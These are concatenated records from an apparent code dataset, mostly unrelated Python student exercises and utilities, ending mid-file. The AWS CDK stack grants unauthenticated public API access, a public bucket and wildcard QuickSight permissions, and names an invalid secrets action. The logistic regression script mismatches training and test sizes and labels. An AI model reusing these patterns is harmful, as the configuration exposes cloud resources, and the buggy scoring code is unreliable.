sum = 0\n for i in range(l, r+1):\n sum += li[i]\n return sum\n\n# fully optimised\ndef cumulative(li):\n li_o = [li[0]]\n for i in range(1, len(li)):\n li_o.append(li[i]+li_o[i-1])\n return li_o\n\ndef query_adv(li, l, r):\n li_o = cumulative(li)\n if l != 0:\n return li_o[r] - li_o[l-1]\n else:\n return li_o[r]\n\nli = list(map(int, input('li: ').split()))\n# print(cumulative(li))\nq = int(input('q: '))\nfor _ in range(q):\n l, r = map(int, input('l, r: ').split())\n print(query_inbuilt(li, l, r), query_basic(li, l ,r), query_adv(li, l, r))\n\n\n\"\"\" Q2 \"\"\"\n# given a list of integers of size n. print all the subsets of the given list. , n<=20.\n# reason behind 2^n number of subsets. Every element has two choices whetehe to get included or not.\ndef subset(li, idx, output):\n '''\n li -> input list\n idx -> is used to point to current element\n output -> output string\n '''\n if idx == len(li):\n print(output)\n return\n \n subset(li, idx+1, output + str(li[idx]) + ', ')\n subset(li, idx+1, output)\n return\n\nli = [1, 2, 3]\nprint(subset(li, 0, ''))\n\n''' Q3 '''\n# iteratively getting subsets\ndef subset_iterative(li):\n num = 2**len(li)\n for i in range(num):\n pass \n","sub_path":"class/problem_solving/ps3.py","file_name":"ps3.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"648403644","text":"\n## PyPoll\n\n#* In this challenge, you are tasked with helping a small, rural town modernize its vote-counting process. (Up until now, Uncle Cleetus had been trustfully tallying them one-by-one, but unfortunately, his concentration isn't what it used to be.)\n#import systems\n\nimport os\nimport csv\n\n#* You will be give a set of poll data called [election_data.csv](PyPoll/Resources/election_data.csv). The dataset is composed of three columns: `Voter ID`, `County`, and `Candidate`. Your task is to create a Python script that analyzes the votes and calculates each of the following:\n#pull CSV file, get header\npypolls_csv = os.path.join(\"Resources\",\"election_data.csv\")\n\nwith open(pypolls_csv, newline=\"\") as csvfile:\n csvreader = csv.reader(csvfile, delimiter=\",\")\n csv_header = next(csvfile)\n print(f\"Header: {csv_header}\")\n\n#assign necessary variables\ntotal_votes_cast = 0\ncandidate_dict = {}\n\n#start the functioning\nwith open(pypolls_csv) as polling_data:\n reader = csv.reader(polling_data)\n header = next (polling_data)\n #A complete list of candidates who received votes--->repeating loop that filters through list adding new candidates to list???\n for row in reader:\n total_votes_cast += 1\n name = row[2]\n if name in candidate_dict:\n candidate_dict[name] += 1\n else:\n candidate_dict[name] = 1\n \nkhan_votes=candidate_dict[\"Khan\"]\nkhan_percent=khan_votes/total_votes_cast *100\ncorrey_votes=candidate_dict[\"Correy\"]\ncorrey_percent=correy_votes/total_votes_cast*100\nli_votes=candidate_dict['Li']\nli_percent=li_votes/total_votes_cast*100\ntooley_votes=candidate_dict[\"O'Tooley\"]\ntooley_percent=tooley_votes/total_votes_cast*100\n\nprint (total_votes_cast)\nprint(candidate_dict)\n\n\nfstring = f\"\"\"\nElection Results\n----------------------------\nTotal Votes Cast : {total_votes_cast}\n---------------------------\nResults :\nKhan: {khan_votes}, {khan_percent} %\nCorrey: {correy_votes}, {correy_percent} %\nLi: {li_votes}, {li_percent} %\nO'Tooley: {tooley_votes}, {tooley_percent} %\n--------------------------\nWinner: Khaaan!!!\n--------------------------\n\"\"\"\nprint(fstring)\noutput_path = os.path.join(\"..\", \"Analysis\", \"polls_analysis.txt\")\nwith open(output_path, 'w') as txtfile:\n\ttxtfile.write(fstring)\n\n","sub_path":"HWonWatson/Hausaufgabe/03-ILikePy/PyPolls/mainpypolls2.py","file_name":"mainpypolls2.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324611918","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2018/9/26 17:14\n@Author : xiaoyichao\n@Contact : xiaoyc@gratone.cn\n@Software: PyCharm\n@Desc : \n\"\"\"\nfrom requester.base_requester import check_fields\nfrom service.webrestful_service import special_check_goods_list\n\n\ndef verify_result(resp_data):\n args = ('clas_id', 'clas_code', 'clas_name', 'list')\n check_fields(args, resp_data[0].keys())\n args_good = ('goods_id', 'goods_name', 'goods_unit')\n check_fields(args_good, resp_data[0]['list'][0].keys())\n\n\ndef test_special_check_goods_list():\n \"\"\"商品列表\"\"\"\n resp = special_check_goods_list()\n verify_result(resp['data'])\n","sub_path":"optometry/cases/unknown/test_special_check_goods_list.py","file_name":"test_special_check_goods_list.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"479477381","text":"\n\n#calss header\nclass _DASH():\n\tdef __init__(self,): \n\t\tself.name = \"DASH\"\n\t\tself.definitions = [u'the act of running somewhere very quickly: ', u'a race over a short distance: ', u'the symbol \\u2013 used to separate parts of a sentence', u'a long sound or flash of light that is used with dots to send messages in Morse (code)', u'a small amount of something, especially liquid food, that is added to something else: ', u'style and confidence']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_dash.py","file_name":"_dash.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"5857281","text":"import os\nfrom aws_cdk import (\n aws_apigateway as apigw,\n aws_events as events,\n aws_events_targets as targets,\n aws_lambda as _lambda,\n aws_iam as iam,\n aws_s3 as s3,\n core\n)\n\nfrom aws_solutions_constructs.aws_apigateway_lambda import (\n ApiGatewayToLambda\n)\n\nclass QuicksightEmbedStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n self.current_dir = os.path.dirname(__file__)\n\n self.website_bucket = s3.Bucket(\n self, \"qs-embed-bucket\",\n bucket_name=f'quicksight-embed-{core.Aws.ACCOUNT_ID}',\n website_index_document=\"index.html\",\n public_read_access=True\n )\n\n self.quicksight_embed_lambda_role = iam.Role(\n self, 'quicksight-embed-lambda-role',\n description='Role for the Quicksight dashboard embed Lambdas',\n role_name='quicksight-embed-lambda-role',\n max_session_duration=core.Duration.seconds(3600),\n assumed_by=iam.ServicePrincipal('lambda.amazonaws.com'),\n inline_policies={\n 'AllowAccess': iam.PolicyDocument(\n statements=[\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\n 'logs:CreateLogGroup',\n 'logs:CreateLogStream',\n 'logs:PutLogEvents'\n ],\n resources=[f'arn:aws:logs:{core.Aws.REGION}:{core.Aws.ACCOUNT_ID}:*']\n ),\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\n \"sts:AssumeRole\",\n \"iam:ListRoles\"\n ],\n resources=[\n \"arn:aws:iam::*:role/quicksight-migration-*-assume-role\"\n ]\n ),\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\n \"secrets:GetSecretValue\"\n ],\n resources=[\n f\"arn:aws:secretsmanager:{core.Aws.REGION}:{core.Aws.ACCOUNT_ID}:secret:*\"\n ]\n ),\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\n \"quicksight:*\",\n ],\n resources=[\"*\"]\n )\n ]\n )\n }\n )\n\n self.quicksight_migration_lambda = _lambda.Function(\n self, 'quicksight-migration-lambda',\n handler='quicksight_embed.lambda_handler',\n runtime=_lambda.Runtime.PYTHON_3_8,\n code=_lambda.Code.from_asset(os.path.join(self.current_dir,\n '../lambda/quicksight_embed/')),\n function_name='quicksight_embed_lambda',\n role=self.quicksight_embed_lambda_role,\n timeout=core.Duration.minutes(3),\n memory_size=512,\n environment={\n 'DASHBOARD_ID': '938b365e-c001-4723-9a27-029654da7531',\n 'QUICKSIGHT_USER_ARN': f'arn:aws:quicksight:us-east-1:{core.Aws.ACCOUNT_ID}:user/default/quicksight-migration-user'\n }\n )\n\n self.apigw_lambda = ApiGatewayToLambda(\n self, \"ApiGatewayToLambdaQSEmbed\",\n existing_lambda_obj=self.quicksight_migration_lambda,\n api_gateway_props=apigw.LambdaRestApiProps(\n rest_api_name=\"quicksight-embed\",\n handler=self.quicksight_migration_lambda,\n deploy=True,\n proxy=False,\n default_method_options=apigw.MethodOptions(\n authorization_type=apigw.AuthorizationType.NONE\n ),\n default_cors_preflight_options=apigw.CorsOptions(\n allow_origins = apigw.Cors.ALL_ORIGINS,\n allow_methods = apigw.Cors.ALL_METHODS,\n allow_headers = ['Access-Control-Allow-Origin','Access-Control-Allow-Headers','Content-Type']\n ),\n policy=iam.PolicyDocument(\n statements=[\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\n 'execute-api:Invoke'\n ],\n resources=[\"execute-api:/prod/*\"],\n principals=[\n iam.ArnPrincipal(\"*\")\n ]\n )\n ]\n )\n )\n )\n\n self.embedurl = self.apigw_lambda.api_gateway.root.add_resource(\"embedurl\")\n self.embedurl.add_method(\"GET\")\n","sub_path":"Migration-scripts/cdk/cdk/quicksight_embed_stack.py","file_name":"quicksight_embed_stack.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171665489","text":"import csv\nfrom collections import OrderedDict, defaultdict\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\ndef get_split_statistics(filepath):\n \"\"\"\n Computes the label frequency, amount of utterances and tokens for a\n preprocessed tsv file.\n \"\"\"\n \n label_freq = defaultdict(int)\n amount_tokens = 0\n\n with open(filepath, 'r') as file:\n reader = csv.DictReader(file, delimiter='\\t')\n\n for line in reader:\n label_freq[line['label']] += 1\n\n text = line['clean']\n amount_tokens += len(text.split(' '))\n\n amount_samples = sum([e for e in label_freq.values()])\n\n label_freq = OrderedDict(sorted(label_freq.items(), key=lambda x: x[0]))\n return label_freq, amount_samples, amount_tokens\n\n\ndef get_dataset_statistics(dataset_path, add_fields=True):\n \"\"\"\n Computes the label frequency, amount of utterances and tokens for\n the entire dataset, considering train/dev/test.\n :param filepath should have the format '.../ds_name' (no split name,\n nor extension).\n \"\"\"\n\n n_labels = list()\n n_samples = list()\n n_tokens = list()\n\n for split in ['train', 'dev', 'test']:\n filepath = '{}_{}.tsv'.format(dataset_path, split)\n label_freq, amount_samples, amount_tokens = get_split_statistics(filepath)\n \n if add_fields:\n label_freq['samples'] = amount_samples\n label_freq['tokens'] = amount_tokens\n\n n_samples.append(amount_samples)\n n_tokens.append(amount_tokens)\n n_labels.append(label_freq)\n\n return n_labels, n_samples, n_tokens\n\n\ndef print_all_statistics(filepath):\n \"\"\"\n Prints the label distribution, amount of utterances and tokens for\n a given dataset.\n \"\"\"\n \n label_freq, _, _ = get_dataset_statistics(filepath)\n \n print('{:15.15}\\t{:11} {:6} {:7.7} {:7.7}'.format('-label-', '-train-', '-dev-', '-test-', '-total-'))\n for header in label_freq[0].keys():\n print('{:12.12}\\t'.format(header), end='')\n \n # split_no = train, dev, test\n total_labels = 0\n for split_no in range(3):\n amount_in_split = label_freq[split_no].get(header, 0)\n total_labels += amount_in_split\n print('{:7} '.format(amount_in_split), end='')\n print('{:7}'.format(total_labels))\n\n\ndef plot_all_statistics(filepath, plot_width=15, plot_height=4.5):\n \"\"\"Plots the label distribution on a given dataset split.\"\"\"\n # based on https://matplotlib.org/gallery/units/bar_unit_demo.html\n \n def fill_in_zeros(all_labels, freq_table):\n return list([freq_table.get(label, 0) for label in all_labels])\n \n \n label_freq, amount_samples, amount_tokens = get_dataset_statistics(filepath, False)\n \n # we find which of the 3 (train/dev/test) dicts have more labels, just in case some\n # split lacks one class (we hope not)\n labels_len = [len(labels) for labels in label_freq]\n N = max(labels_len)\n Ni = np.argmax(labels_len)\n \n # label_freq is a dict that maps label to frequency. Just the frequency is necessary\n # for plotting, and Python's olist doesn't support slicing, hence they have to be\n # converted explicitly.\n \n all_labels = label_freq[Ni].keys()\n frequencies = list(map(lambda x: fill_in_zeros(all_labels, x), label_freq))\n \n # Plot setup\n fig, ax = plt.subplots(figsize=(plot_width, plot_height))\n ax.grid(linestyle='solid', linewidth=0.5, color='lightgrey')\n matplotlib.rcParams.update({'font.size': 12})\n\n ind = np.arange(N) # the x locations for the groups\n width = 0.25 # the width of the bars\n\n # Plotting\n p1 = ax.bar(ind, frequencies[0], width, color='r', bottom=0)\n p2 = ax.bar(ind + width, frequencies[1], width, color='y', bottom=0)\n p3 = ax.bar(ind + 2*width, frequencies[2], width, color='b', bottom=0)\n\n ax.legend((p1[0], p2[0], p3[0]), ('Train', 'Dev', 'Test'), loc=0)\n\n # Formatting x-axis labels\n dataset_name = filepath.split('/')[-1]\n ax.set_title('Label distribution across splits for {} dataset'.format(dataset_name))\n ax.set_xticks(ind + width / 2 + 0.2)\n ax.set_xticklabels(label_freq[0].keys())\n\n ax.autoscale_view()\n\n plt.xticks(rotation=90)\n plt.show()","sub_path":"experiments/utils/statistics_helper.py","file_name":"statistics_helper.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18597606","text":"# Your name Kevin Khomiakov\n# Your class-section 1\n\n# Your program!\n\n# inputting the name\n\nname = input('Enter common name: ')\n\n# creating the list of the names\n\nl = ['Hello my name is ' + name] * len(name)\n\n# printing the result\n\nprint(l)\n","sub_path":"HW01/hw1_complete/namebadges.py","file_name":"namebadges.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150766555","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def maximumAverageSubtree(self, root: TreeNode) -> float:\n # The function will be recursive that goes down to leaves.\n self.maxVal = 0 # Avg val to be compared at each calculation\n def traverse(node):\n if node is None: # if it is a leaf\n return [0,0] # [avgVal, # of descendants]\n \n # Each side \n lsum, lcount = traverse(node.left)\n rsum, rcount = traverse(node.right)\n \n self.maxVal = max(self.maxVal, (lsum + rsum + node.val) / (lcount+rcount+1))\n return [lsum+rsum+node.val, lcount+rcount+1]\n traverse(root)\n return self.maxVal\n \n ","sub_path":"LeetCode/Python/1120.py","file_name":"1120.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"646251645","text":"#!/usr/bin/env python3\n\nimport grass.script as gscript\n\n\ndef capas_i(capas):\n\n cadena = \",\".join(capas)\n\n return cadena\n\n\n\ndef pca (capas_input,salida,path_salida):\n\n gscript.run_command('i.pca',\n\n input = capas_input,\n\n output = salida,\n\n rescale = '1,11',\n\n overwrite = True)\n\n pca1 = salida+'.1'\n\n print (pca1)\n \n\n gscript.run_command('r.out.gdal',flags='cm',\n\n overwrite=True,\n\n input=pca1+'@PERMANENT',\n\n format='GTiff',\n\n output=path_salida+pca1.split('.')[0]+'.tif',\n\n type='Byte')\n return pca1\n\n \n\ndef eliminar_pca2end (capas,nombre_pca):\n '''\n numero = len(capas)\n\n for i in range(2,numero+1):\n\n gscript.run_command('g.remove',flags='f',\n\n type='raster',\n\n name=nombre_pca+'.'+str(i)+'@PERMANENT')\n\n ''' \n\n \n\ndef stadistica (capa,ruta):\n\n gscript.run_command('r.stats',flags='cn',\n\n input=capa+'@PERMANENT',\n\n separator='comma',\n\n overwrite=True,\n\n output=ruta+capa.replace('.1','')+'.csv')\n\n \n\ndef separar_pca(capa,corte):\n\n capa_a='mask_'+capa+'a'\n\n capa_b='mask_'+capa+'b'\n\n capas_salidas = [capa_a,capa_b]\n\n operacion_a = capa_a + ' = ('+capa+'@PERMANENT <='+str(corte)+')*1'\n\n operacion_b = capa_b + ' = ('+capa+'@PERMANENT >'+str(corte)+')*1'\n\n lista_operaciones = [operacion_a,operacion_b]\n\n for mask in lista_operaciones:\n\n gscript.run_command('r.mapcalc',\n\n overwrite=True,\n\n expression=mask)\n\n for salida in capas_salidas:\n\n gscript.run_command('r.null',\n\n map=salida+'@PERMANENT',\n\n setnull=0)\n\n return capas_salidas\n\n\n\n\n\n\ndef capa_grupos(capas_salidas,path_salida):\n operacion = ''\n suma_grupos =[]\n for capa,i in zip(capas_salidas,range(1,len(capas_salidas)+1)):\n operacion = 'tp_'+capa+'=('+capa+'@PERMANENT <=11)*'+str(i)\n\n print (operacion)\n \n gscript.run_command('r.mapcalc',\n\n overwrite=True,\n\n expression=operacion)\n\n\n gscript.run_command('r.null',\n\n\n\n map='tp_'+capa+'@PERMANENT',\n\n\n\n null=0)\n\n \n\n suma_grupos.append('tp_'+capa+'@PERMANENT')\n\n \n\n ecuacion = ' + '.join(suma_grupos)\n \n\n\n\n gscript.run_command('r.mapcalc',\n\n\n\n overwrite=True,\n\n\n\n expression='grupos='+ecuacion)\n\n\n\n \n\n gscript.run_command('r.null',\n\n\n\n map='grupos'+'@PERMANENT',\n\n\n\n setnull=0)\n\n \n '''\n gscript.run_command('r.out.gdal',flags='cm',\n\n\n\n overwrite=True,\n\n\n\n input='grupos'+'@PERMANENT',\n\n\n\n format='GTiff',\n\n\n\n output=path_salida+'grupos.tif',\n\n\n\n type='Byte')'''\n\n\n\n\n\n for capa,i in zip(capas_salidas,range(1,len(capas_salidas)+1)):\n\n\n\n gscript.run_command('r.null',\n\n\n\n map='tp_'+capa+'@PERMANENT',\n\n\n\n setnull=0)\n\n\n\n\n \ndef promedios_grupos(capas,ruta):\n\n\n\n inputs = \",\".join(capas)\n\n\n\n gscript.run_command('r.stats',flags='An',\n\n\n\n input=inputs,\n\n\n\n separator='comma',\n\n\n\n overwrite=True,\n\n\n\n output=ruta+'promedios_grupos.csv')\n\n\n\n\ndef aplicar_mascara(mascaras,capas):\n\n insumos_con_mascara_a = []\n\n insumos_con_mascara_b = []\n\n for mascara in mascaras:\n\n for capa in capas:\n\n nombre_c = mascara+'_'+capa.split('@')[0]\n\n ecuacion = nombre_c+' = '+mascara+'@PERMANENT * '+capa\n\n gscript.run_command('r.mapcalc',\n\n overwrite=True,\n\n expression=ecuacion)\n\n if mascara[-1]=='a':\n\n insumos_con_mascara_a.append(nombre_c+'@PERMANENT')\n\n elif mascara[-1]=='b':\n\n insumos_con_mascara_b.append(nombre_c+'@PERMANENT')\n\n return insumos_con_mascara_a,insumos_con_mascara_b\n\ndef main():\n\n ruta = 'C:/Dropbox (LANCIS)/CARPETAS_TRABAJO/vhernandez/geo_lancis/pca/'\n\n\n\n \n #gscript.run_command('g.region', flags='p')\n capas = ['x372_06RY_CC_100m@PERMANENT',\n 'x372_09RY_DE_100m@PERMANENT',\n 'x372_25RY_HIDR_100m@PERMANENT',\n 'x372_34RY_CP_100m@PERMANENT']\n '''\n nombre_pca='pca1'\n capas_input = capas_i(capas)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,6)\n insumos_a,insumos_b = aplicar_mascara(mascaras,capas)\n\n\n\n #segundo corte a\n\n nombre_pca = 'pca1a'\n capas_input = capas_i(insumos_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,4)\n insumos_a_a,insumos_a_b = aplicar_mascara(mascaras,capas)\n\n nombre_pca = 'pca1aa'\n capas_input = capas_i(insumos_a_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n\n\n nombre_pca = 'pca1ab'\n capas_input = capas_i(insumos_a_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n\n\n #segundo corte b\n\n nombre_pca = 'pca1b'\n capas_input = capas_i(insumos_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,5)\n insumos_b_a,insumos_b_b = aplicar_mascara(mascaras,capas)\n\n\n nombre_pca = 'pca1ba'\n capas_input = capas_i(insumos_b_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,6)\n insumos_b_a_a,insumos_b_a_b = aplicar_mascara(mascaras,capas)\n\n\n nombre_pca = 'pca1bb'\n capas_input = capas_i(insumos_b_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n\n nombre_pca = 'pca1baa'\n capas_input = capas_i(insumos_b_a_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,4)\n insumos_b_a_a_a,insumos_b_a_a_b = aplicar_mascara(mascaras,capas)\n\n nombre_pca = 'pca1bab'\n capas_input = capas_i(insumos_b_a_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n\n # tercer corte \n nombre_pca = 'pca1baaa'\n capas_input = capas_i(insumos_b_a_a_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n mascaras = separar_pca(capa_pca,7)\n\n insumos_b_a_a_a_a,insumos_b_a_a_a_b = aplicar_mascara(mascaras,capas)\n nombre_pca = 'pca1baab'\n capas_input = capas_i(insumos_b_a_a_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n \n nombre_pca = 'pca1baaaa'\n capas_input = capas_i(insumos_b_a_a_a_a)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n\n nombre_pca = 'pca1baaab'\n capas_input = capas_i(insumos_b_a_a_a_b)\n capa_pca= pca(capas_input,nombre_pca,ruta)\n eliminar_pca2end(capas,nombre_pca)\n stadistica(capa_pca,ruta)\n '''\n\n insumos_grupos= ['pca1a.1',\n\n 'pca1bb.1',\n\n 'pca1bab.1',\n\n 'pca1baab.1',\n\n 'pca1baaaa.1',\n\n 'pca1baaab.1']\n\n capa_grupos(insumos_grupos,ruta)\n\n\n\n \n\n insumos = ['grupos@PERMANENT']\n\n\n\n for i in capas:\n\n insumos.append(i)\n\n\n\n promedios_grupos(insumos,ruta)\n\n \n \n\nif __name__ == '__main__':\n main()\n","sub_path":"codigos/secundarios/grass_pca.py","file_name":"grass_pca.py","file_ext":"py","file_size_in_byte":8349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"246123086","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\n\ndf = pd.read_csv('iris.csv')\nprint(df.head(),'\\n')\nprint(df.describe(),'\\n')\nprint(df.info(),'\\n')\n\n# plot\nsns.pairplot(df,hue='Species',height=2.5)\nplt.show()\n\nprint(df['Species'].value_counts())\nprint()\n\n# Simple Logistic Regression\nfinal_df = df[df['Species'] !='Iris-virginica']\nprint(final_df.head())\n\n# Outliter Check\nsns.pairplot(final_df,hue='Species',height=2.5)\nplt.show()\n\n# SEPAL LENGTH\nfinal_df.hist(column='Sepal.Length',bins=20,figsize=(10,5))\nfinal_df.loc[final_df['Sepal.Length'] < 1, ['Sepal.Length']] = final_df['Sepal.Length']*100\nfinal_df.hist(column='Sepal.Length',bins=20, figsize=(10,5))\n\n# SEPAL WIDTH\nfinal_df = final_df.drop(final_df[(final_df['Species'] == 'setosa')& (final_df['Sepal.Width'] < 2.5)].index)\nsns.pairplot(final_df,hue='Species',height=2.5)\n\n# Label Encoding\nfinal_df['Species'].replace([\"setosa\",\"versicolor\"], [1,0], inplace=True)\nprint(final_df.head())\n\n# Model Construction\ninp_df = final_df.drop(final_df.columns[[4]],axis=1)\nout_df = final_df.drop(final_df.columns[[0,1,2,3]],axis=1)\n\nscaler = StandardScaler()\ninp_df = scaler.fit_transform(inp_df)\n\nX_train,X_test,y_train,y_test = train_test_split(inp_df,out_df,test_size=0.2,random_state=42)\n\nX_tr_arr = X_train\nX_ts_arr = X_test\ny_tr_arr = y_train.as_matrix()\ny_ts_arr = y_test.as_matrix()\nprint(y_tr_arr)\nprint(y_ts_arr)\n\nprint('Input Shape',(X_tr_arr.shape))\nprint('Output Shape',X_test.shape)\n\ndef weightInitialization(n_features):\n w = np.zeros((1,n_features))\n b = 0\n return w,b\n\ndef sigmoid_activation(result):\n final_result = 1 / (1 + np.exp(-result))\n return final_result\n\ndef model_optimize(w,b,X,Y):\n m = X.shape[0]\n\n # Prediction\n final_result = sigmoid_activation(np.dot(w,X.T) + b)\n Y_T = Y.T\n cost = (-1/m)*(np.sum((Y_T*np.log(final_result)) + ((1-Y_T)*(np.log(1-final_result)))))\n\n # Gradient calculation\n dw = (1/m)*(np.dot(X.T,(final_result-Y.T).T))\n db = (1/m)*(np.sum(final_result-Y.T))\n\n grads = {\"dw\":dw, \"db\":db}\n\n return grads,cost\n\ndef model_predict(w,b,X,Y,learning_rate,no_iterations):\n costs = []\n for i in range(no_iterations):\n\n grads,cost = model_optimize(w,b,X,Y)\n\n dw = grads[\"dw\"]\n db = grads[\"db\"]\n\n # weight update\n w = w - (learning_rate * (dw.T))\n b = b- (learning_rate * db)\n\n if (i % 100 == 0):\n costs.append(cost)\n print(\"Cost after %i iteration is %f\" %(i, cost))\n\n # final parameters\n coeff = {\"w\":w,\"b\":b}\n gradient = {\"dw\":dw,\"db\":db}\n\n return coeff,gradient,costs\n\ndef predict(final_pred,m):\n y_pred = np.zeros((1,m))\n for i in range(final_pred.shape[1]):\n if final_pred[0][i] > 0.5:\n y_pred[0][i] = 1\n else:\n y_pred[0][i] = 0\n return y_pred\n\n# Get number of features\nn_features = X_tr_arr.shape[1]\nprint('Number of Features',n_features)\nw,b = weightInitialization(n_features)\n\n# Gradient Descent\ncoeff,gradient,costs = model_predict(w,b,X_tr_arr,y_tr_arr,learning_rate=0.0001,no_iterations=1000)\n\n# Final prediction\nw = coeff[\"w\"]\nb = coeff[\"b\"]\nprint('Optimized weights', w)\nprint('Optimized intercept',b)\n\nfinal_train_pred = sigmoid_activation(np.dot(w,X_tr_arr.T) + b)\nfinal_test_pred = sigmoid_activation(np.dot(w,X_ts_arr.T) + b)\n\nm_tr = X_tr_arr.shape[0]\nm_ts = X_ts_arr.shape[0]\n\ny_tr_pred = predict(final_train_pred,m_ts)\nprint('Training Accuracy',accuracy_score(y_tr_pred.T, y_tr_arr))\n\ny_ts_pred = predict(final_test_pred, m_ts)\nprint('Test Accuracy',accuracy_score(y_ts_pred.T, y_ts_arr))\n\n# plot\n\nplt.plot(costs)\nplt.ylabel('cost')\nplt.xlabel('iterations (per hundreds)')\nplt.title('Cost reduction over time')\nplt.show()\n\nclf = LogisticRegression()\nclf.fit(X_tr_arr,y_tr_arr)\n\nprint(clf.intercept_,clf.coef_)\n\npred = clf.predict(X_ts_arr)\nprint('Accuracy from sk-learin: {0}'.format(clf.score(X_ts_arr,y_tr_arr)))","sub_path":"Course_8/Lesson_02.py","file_name":"Lesson_02.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"646072373","text":"from __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport re\n\nfrom PH5WebService.common import parse_arguments\nfrom PH5WebService.common.custom_exceptions import ArgumentValidationError\nfrom _ast import Or\n\n\nclass RequestTypes(object):\n FDSN = \"FDSN\"\n SHOT = \"SHOT\"\n\n\nclass RequestFormats(object):\n MSEED = \"MSEED\"\n SAC = \"SAC\"\n GEOCSV = \"GEOCSV\"\n SEGY1 = \"SEGY1\" # SEGY revision 1\n SEGY2 = \"SEGY2\" # SEGY revision 2\n\n\nclass ArgumentContainer(object):\n \"\"\"\n Creates a ArgumentContainer object from a dictionary of PH5DataSelect\n arguments.\n \"\"\"\n def __init__(self, args_dict):\n \"\"\"\n Constructor for a ArgumentContainer object\n\n :param args_dict: A dictionary of request arguments\n :type: dict\n \"\"\"\n # Sets default values for values not defined in the args_dict\n args_dict = self._set_default_inputs(args_dict)\n\n # check for unrecognized arguments\n self._check_for_unrecognized_arguments(args_dict)\n\n # Standard arguments\n try:\n self.set_reqtype(\"\")\n if args_dict.get('network'):\n self.set_network(args_dict.get('network'))\n else:\n self.set_network(args_dict.get('net'))\n\n if args_dict.get('station'):\n self.set_station(args_dict.get('station'))\n else:\n self.set_station(args_dict.get('sta'))\n\n if args_dict.get('location'):\n self.set_location(args_dict.get('location'))\n else:\n self.set_location(args_dict.get('loc'))\n\n if args_dict.get('component'):\n self.set_component(args_dict.get('component'))\n else:\n self.set_component(args_dict.get('component'))\n\n if args_dict.get('channel'):\n self.set_channel(args_dict.get('channel'))\n else:\n self.set_channel(args_dict.get('cha'))\n \n if args_dict.get('reportnum'):\n self.set_reportnum(args_dict.get('reportnum'))\n else:\n 